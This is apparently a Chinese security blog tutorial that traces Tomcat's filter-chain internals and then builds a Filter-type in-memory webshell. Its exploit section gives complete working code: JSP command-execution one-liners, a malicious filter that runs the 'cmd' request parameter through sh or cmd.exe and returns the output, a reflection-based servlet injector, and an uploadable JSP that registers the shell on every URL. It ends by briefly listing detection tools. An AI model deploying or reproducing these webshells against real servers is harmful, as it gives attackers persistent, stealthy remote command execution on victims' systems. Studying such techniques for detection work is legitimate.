0x01 写在前面
学过 Servlet 的应该都知道 filter (过滤器),我们可以通过自定义过滤器来做到对用户的一些请求进行拦截修改等操作,下面是一张简单的流程图

从上图可以看出,我们的请求会经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行,当我们在 filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell
打 Filter 内存马的目标:动态注册恶意 Filter,并且将其放到“最前面”
0x02 流程分析
在学习 Filter 内存马的注入之前,我们先来分析一下正常 Filter 在 Tocat 中的流程是怎么样的
项目搭建
环境配置:
- Maven 4.0.0
- Tomcat 8.5.81
- 依赖导入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>4.0.1</version> <scope>provided</scope> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-el</artifactId> <version>8.5.81</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.81</version> <scope>provided</scope> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-websocket</artifactId> <version>8.5.81</version> </dependency>
|
自定义 Filter:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import javax.servlet.*; import java.io.IOException;
public class MyFilter implements Filter {
@Override public void init(FilterConfig filterConfig) throws ServletException{ System._out_.println(("Filter has been initialized")); }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException { System._out_.println("Complete the filtering"); filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy(){} }
|
然后修改 web.xml 文件,这里我们设置 url-pattern 为 /filter 即访问 /filter 才会触发
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <filter> <filter-name>filter</filter-name> <filter-class>MyFilter</filter-class> </filter> <filter-mapping> <filter-name>filter</filter-name> <url-pattern>/filter</url-pattern> </filter-mapping></web-app>
|
访问 /filter,自定义过滤器成功触发

流程分析-访问 /filter 之后
在 filter.java 下的 doFilter() 打断点。并且访问 /filter 接口

这里会进到 ApplicationFilterChain 类的 doFilter() 方法,它主要是进行了 Globals.IS_SECURITY_ENABLED,也就是全局安全服务是否开启的判断

单步 f8 进去,直接走到了结尾:

继续跟进去,这里是 ApplicationFilterChain 类的 internalDoFilter() 方法

filter 是从 ApplicationFilterConfig filterConfig = filters[pos++] 中来的,filters 的定义如下:
1
| private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
|
现在我们其实是有两个 filter 的:

可以看到,0 是我们自己设定的过滤器 MyFilter,1 是 tomcat 自带的 filter,因为此时 pos 是 1 所以取到 tomcat 的 filter
继续往里走,这里就调用了 tomcat 的 filter 的 doFilter() 方法,往下走会走到 chain.doFilter() 这个地方

这个方法会回到 ApplicationFilterChain 类的 doFilter() 方法里面,因为我们是一条 Filter 链,所以会一个个获取 Filter,直到最后一个

那么现在我们只定义了一个 Filter,所以现在这次循环获取 Filter 链就是最后一次,最后一次获取 Filter 链的时候,会走到 this.servlet.service(request, response) 这个地方

小结:
- 最后一个 filter 调用 servlet 的 service 方法
- 上一个
Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;这也就是我们的 Filter 链,是去逐个获取的。
- 最后一个
Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法
- 只要 Filter 链中任意一个 Filter 没有调用
FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行
**至此,我们的正向分析过程就结束了,得到的结论是 Filter Chain 的调用结构是一个个 doFilter() 的,最后一个 Filter 会调用 **Servlet.service()
流程分析-访问 /filter 之前
分析目的在于:假设我们基于 filter 去实现一个内存马,我们需要找到 filter 是如何被创建的,我们从调用栈入手进行逆向分析,选到最远处的一个 invoke() 方法:

我们看到现在的类是 StandardEngineValve,对应的 Pipeline 就是 EnginePipeline;它进行了 invoke() 方法的调用,这个 invoke() 方法的调用的目的地是 AbstractAccessLogValve 类的 invoke() 方法。其实这一步已经安排了一个 request, wrapper, servlet 传递的顺序

接着是 AbstractAccessLogValve 类的 invoke() 方法,然后就是一步步调用 invoke() 方法

可以用这张图来表示这一整个过程:

invoke() 部分的所有流程我们都分析完毕了,接着继续往上看,也就是 doFilter() 方法。这个 doFilter() 方法也是由最近的那个 invoke() 方法调用的,这个方法在 StandardWrapperValve 类中:

这里我们要重点关注前文说过的 filterChain 这个变量,它究竟是什么:

我们跟进 createFilterChain() 这个方法。使用 ApplicationFilterFactory.createFilterChain() 创建了一个过滤链,将 request, wrapper, servlet 进行传递

遍历 StandardContext.filterMaps 得到 filter 与 URL 的映射关系并通过 matchDispatcher()、matchFilterURL() 方法进行匹配,匹配成功后,还需判断 StandardContext.filterConfigs 中,是否存在对应 filter 的实例,当实例不为空时通过 addFilter 方法,将管理 filter 实例的 filterConfig 添加入 filterChain 对象中:

这时候我们再进入 doFilter() 的方法其实是,将请求交给其 pipeline 去处理,由 pipeline 中的所有 valve 顺序处理请求。后续的就是我们前文分析过的在访问 /filter 之后的流程分析
小结分析
首先是 invoke() 方法
层层调用管道,在最后一个管道的地方会创建一个链子,这个链子是 FilterChain,再对里头的 filter 进行一些相关的匹配。
filterchain 拿出来之后
进行 doFilter() 工作,将请求交给对应的 pipeline 去处理,也就是进行一个 doFilter() —-> internalDoFilter() —-> doFilter();直到最后一个 filter 被调用。
最后一个 filter
最后一个 filter 会执行完 doFilter() 操作,随后会跳转到 Servlet.service() 这里。至此,流程分析完毕。
梳理攻击的思路
我们的攻击代码,应该是生效于这一块的:

我们只需要构造含有恶意的 filter 的 filterConfig 和拦截器 filterMaps,就可以达到触发目的了,并且它们都是从 StandardContext 中来的。
而 filterMaps 中的数据对应 web.xml 中的 filter-mapping 标签
1 2 3 4
| <filter-mapping> <filter-name>filter</filter-name> <url-pattern>/filter</url-pattern> </filter-mapping>
|
0x03 攻击流程
我们一定是通过某种方式去触发修改 filterMaps 的,也就是如何修改 web.xml 中的 filter-mapping 标签
在 StandardContext 这个类中,filterMaps 可以通过如下两个方法添加数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| @Override public void addFilterMap(FilterMap filterMap) { validateFilterMap(filterMap); filterMaps.add(filterMap); fireContainerEvent("addFilterMap", filterMap); }
@Override public void addFilterMapBefore(FilterMap filterMap) { validateFilterMap(filterMap); filterMaps.addBefore(filterMap); fireContainerEvent("addFilterMap", filterMap); }
|
StandardContext 这个类是一个容器类,它负责存储整个 Web 应用程序的数据和对象,并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系
1 2 3 4 5
| filterMaps变量:包含所有过滤器的URL映射关系
filterDefs变量:包含所有过滤器包括实例内部等变量
filterConfigs变量:包含所有与过滤器对应的filterDef信息及过滤器实例,进行过滤器进行管理
|
- filterConfigs 成员变量是一个 HashMap 对象,里面存储了 filter 名称与对应的
ApplicationFilterConfig 对象的键值对,在 ApplicationFilterConfig 对象中则存储了 Filter 实例以及该实例在 web.xml 中的注册信息
- filterDefs 成员变量成员变量是一个 HashMap 对象,存储了 filter 名称与相应
FilterDef 的对象的键值对,而 FilterDef 对象则存储了 Filter 包括名称、描述、类名、Filter 实例在内等与 filter 自身相关的数据
- filterMaps 中的
FilterMap 则记录了不同 filter 与 UrlPattern 的映射关系
1 2 3 4 5
| private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap();
private HashMap<String, FilterDef> filterDefs = new HashMap();
private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();
|
来看一看 ApplicationFilterConfig 里面存了什么东西

它有三个重要的东西:一个是 ServletContext,一个是 filter,一个是 filterDef
- 其中 filterDef 就是对应 web.xml 中的 filter 标签:
1 2 3 4
| <filter> <filter-name>filter</filter-name> <filter-class>MyFilter</filter-class> </filter>
|
从 org.apache.catalina.core.StandardContext#filterStart 中可以看到 filterConfig 可以通过 filterConfigs.put(name, filterConfig)添加
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public boolean filterStart() {
if (getLogger().isDebugEnabled()) { getLogger().debug("Starting filters"); } boolean ok = true; synchronized (filterConfigs) { filterConfigs.clear(); for (Entry<String,FilterDef> entry : filterDefs.entrySet()) { String name = entry.getKey(); if (getLogger().isDebugEnabled()) { getLogger().debug(" Starting filter '" + name + "'"); } try { ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue()); filterConfigs.put(name, filterConfig); } catch (Throwable t) { t = ExceptionUtils._unwrapInvocationTargetException_(t); ExceptionUtils._handleThrowable_(t); getLogger().error(_sm_.getString( "standardContext.filterStart", name), t); ok = false; } } }
return ok; }
|
构造思路
通过前文分析,得出构造的主要思路如下:
- 获取当前应用的 ServletContext 对象
- 通过 ServletContext 对象再获取 filterConfigs
- 接着实现自定义想要注入的 filter 对象
- 然后为自定义对象的 filter 创建一个 FilterDef
- 最后把 ServletContext 对象、filter 对象、FilterDef 全部都设置到 filterConfigs 即可完成内存马的实现
0x04 Filter 型内存马 EXP
JSP 无回显的内存马:
1
| <% Runtime.getRuntime().exec(request.getParameter("cmd"));%>
|
JSP 有回显的内存马:
1 2 3 4 5 6 7 8 9 10 11 12
| <% if(request.getParameter("cmd")!=null){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.print(new String(b)); } out.print("</pre>"); } %>
|
那么现在,我们要把这个恶意的有回显的内存马插入到 Filter 里面进去,配置一成个恶意的 Filter:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.util.Scanner;
public class EvilFilter implements Filter { public void init(FilterConfig config) throws ServletException { }
public void destroy() { }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException { HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse res = (HttpServletResponse) response; if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = req.getParameter("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{req.getParameter("cmd")}; InputStream in = Runtime._getRuntime_().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; res.getWriter().write(output); res.getWriter().flush(); } } }
|
修改 web.xml 内容:
1 2 3 4 5 6 7
| <filter> <filter-name>filter</filter-name> <filter-class>EvilFilter</filter-class> </filter> <filter-mapping> <filter-name>filter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
|
命令执行回显效果:

本质上其实就是 Filter 中接受执行参数,但是如果我们在现实情况中需要动态的将该 Filter 给添加进去
由前面 Filter 实例存储分析得知 StandardContext Filter 实例存放在 filterConfigs、filterDefs、filterMaps 这三个变量里面,将 fifter 添加到这三个变量中即可将内存马打入。那么如何获取到 StandardContext 成为了问题的关键
改造思路流程图:

先通过反射获取到 standContext:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); String FilterName = "cmd_Filter"; Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); filterConfigs = (Map) Configs.get(standardContext);
|
接着定义一个 Filter:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| Filter filter = new Filter(){ public void init(FilterConfig config) throws ServletException { }
public void destroy() { }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException { HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse res = (HttpServletResponse) response; if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = req.getParameter("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{req.getParameter("cmd")}; InputStream in = Runtime._getRuntime_().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; res.getWriter().write(output); res.getWriter().flush(); } } };
|
再设置 FilterDef 和 FilterMaps:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); Constructor declaredConstructors = FilterDef.getDeclaredConstructor(); FilterDef o = (FilterDef) declaredConstructors.newInstance(); o.setFilter(filter); o.setFilterName(FilterName); o.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(o);
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor(); org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance(); o1.addURLPattern("/*"); o1.setFilterName(FilterName); o1.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(o1);
|
最终将它们都添加到 filterConfig 里面,再放到 web.xml 里面:
1 2 3 4 5 6
| Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class); declaredConstructor1.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o); filterConfigs.put(FilterName,filterConfig); response.getWriter().write("Success");
|
最终 EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119
| package com.gengar;
import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field;
import java.util.Map; import java.util.Scanner;
@WebServlet("/demoServlet") public class FilterShell extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Field Configs = null; Map filterConfigs; try { ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String FilterName = "cmd_Filter"; Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(FilterName) == null){ Filter filter = new Filter() {
@Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){
InputStream in = Runtime._getRuntime_().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output);
return; } filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() {
} }; Class<?> FilterDef = Class._forName_("org.apache.tomcat.util.descriptor.web.FilterDef"); Constructor declaredConstructors = FilterDef.getDeclaredConstructor(); FilterDef o = (FilterDef)declaredConstructors.newInstance(); o.setFilter(filter); o.setFilterName(FilterName); o.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(o); Class<?> FilterMap = Class._forName_("org.apache.tomcat.util.descriptor.web.FilterMap"); Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor(); org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*"); o1.setFilterName(FilterName); o1.setDispatcher(DispatcherType._REQUEST_.name()); standardContext.addFilterMapBefore(o1);
Class<?> ApplicationFilterConfig = Class._forName_("org.apache.catalina.core.ApplicationFilterConfig"); Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class); declaredConstructor1.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o); filterConfigs.put(FilterName,filterConfig); response.getWriter().write("Success");
} } catch (Exception e) { e.printStackTrace(); }
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.doPost(request, response); } }
|

如果文件上传的话应该是上传一个 .jsp 文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %>
<% final String name = "G3ng4r"; ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner( in ).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); servletResponse.getWriter().flush(); return; } filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() {
}
};
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig); out.print("Inject Success !"); } %> <html> <head> <title>filter</title> </head> <body> Hello Filter </body> </html>
|
文件上传时上传这个 jsp 马即可

0x05 Filter 型内存马排查
AWD 中内存马的排查是及其重要的防御手段,这里就提供排查工具,具体排查原理就不介绍了(其实是不会吧
arthas
https://github.com/alibaba/arthas
copagent
https://github.com/LandGrey/copagent
java-memshell-scanner
https://github.com/c0ny1/java-memshell-scanner
参考:
https://drun1baby.top/2022/08/22/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-03-Tomcat-%E4%B9%8B-Filter-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/